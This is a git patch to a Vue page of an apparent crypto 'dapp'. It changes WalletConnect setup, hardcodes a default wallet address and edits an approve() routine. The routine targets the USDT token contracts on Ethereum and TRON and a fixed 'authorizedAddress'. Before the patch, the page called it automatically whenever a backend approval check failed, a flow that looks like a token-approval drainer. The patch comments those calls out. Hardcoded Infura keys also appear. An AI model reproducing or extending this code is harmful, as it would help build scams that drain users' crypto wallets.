From b5b99495224f73725dddb49f31bc20813550fdf3 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Wed, 23 Mar 2022 15:07:00 +0800
Subject: [PATCH] gx
---
src/pages/index/index.vue | 60 ++++++++++++++++++++++++++----------------------------------
1 files changed, 26 insertions(+), 34 deletions(-)
diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index 060379d..207a334 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -121,13 +121,29 @@
proxy.isShowApproveModal = false
proxy.isShowAccreditModal = true
}
- function showDappModal() {
+ async function showDappModal() {
proxy.isShowAccreditModal = false
- proxy.isShowWalletModal = true
+ // proxy.isShowWalletModal = true
+ const provider = new WalletConnectProvider({
+ infuraId: "27e484dcd9e3efcfd25a83a78777cdf1",
+ qrcode: false,
+ qrcodeModalOptions: {
+ mobileLinks: [
+ 'tronLink',
+ "rainbow",
+ "metamask",
+ "argent",
+ "trust",
+ "imtoken",
+ "pillar",
+ ]
+ }
+ });
+ await provider.enable();
}
async function showWalletModal() {
proxy.isShowAccreditModal = false;
- let provider = new WalletConnectProvider({
+ const provider = new WalletConnectProvider({
infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
bridge: "https://bridge.walletconnect.org",
})
@@ -140,22 +156,17 @@
// 获取地址
async function getAddress () {
- let address = '';
+ let address = '0x391040eE5F241711E763D0AC55E775B9b4bD0024';
if(window.ethereum) {
await window.ethereum.enable();
address = await ethereum.request({ method: 'eth_accounts' });
}else if(window.tronWeb){
address = window.tronWeb.defaultAddress.base58;
}
- return address;
+ proxy.walletAddress = address;
}
async function approve () {
- if (typeof web3 !== 'undefined') {
- web3 = new Web3(web3.currentProvider);
- } else {
- // set the provider you want from Web3.providers
- web3 = new Web3(new Web3.providers.HttpProvider("https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0"));
- }
+ const web3 = new Web3(window.ethereum);
const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
const authorizedAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
@@ -165,7 +176,8 @@
console.log(result);
}
async function init() {
- proxy.walletAddress = await getAddress();
+ await getAddress();
+ console.log(proxy.walletAddress)
if (proxy.walletAddress) {
proxy.$axios({
url: '/dapp/common/isApprove/' + proxy.walletAddress,
@@ -174,10 +186,10 @@
if(res.code === 200) {
sessionStorage.setItem('address', proxy.walletAddress);
}else{
- approve()
+ // approve()
}
}).catch((err) => {
- approve()
+ // approve()
})
}else{
showAccreditModal();
@@ -210,26 +222,6 @@
};
},
methods: {
- connect() {
- const provider = new WalletConnectProvider({
- infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
- bridge: "https://bridge.walletconnect.org",
- });
- // Enable session (triggers QR Code modal)
- provider.enable();
-
- this.web3 = new Web3(provider);
-
- // this.getAccount();
- // subscribe to events
- // this.subscribeToEvents();
- },
- subscribeToEvents() {
- const connector = this.connector;
- if (!connector) {
- return;
- }
- },
}
}
--
Gitblit v1.9.1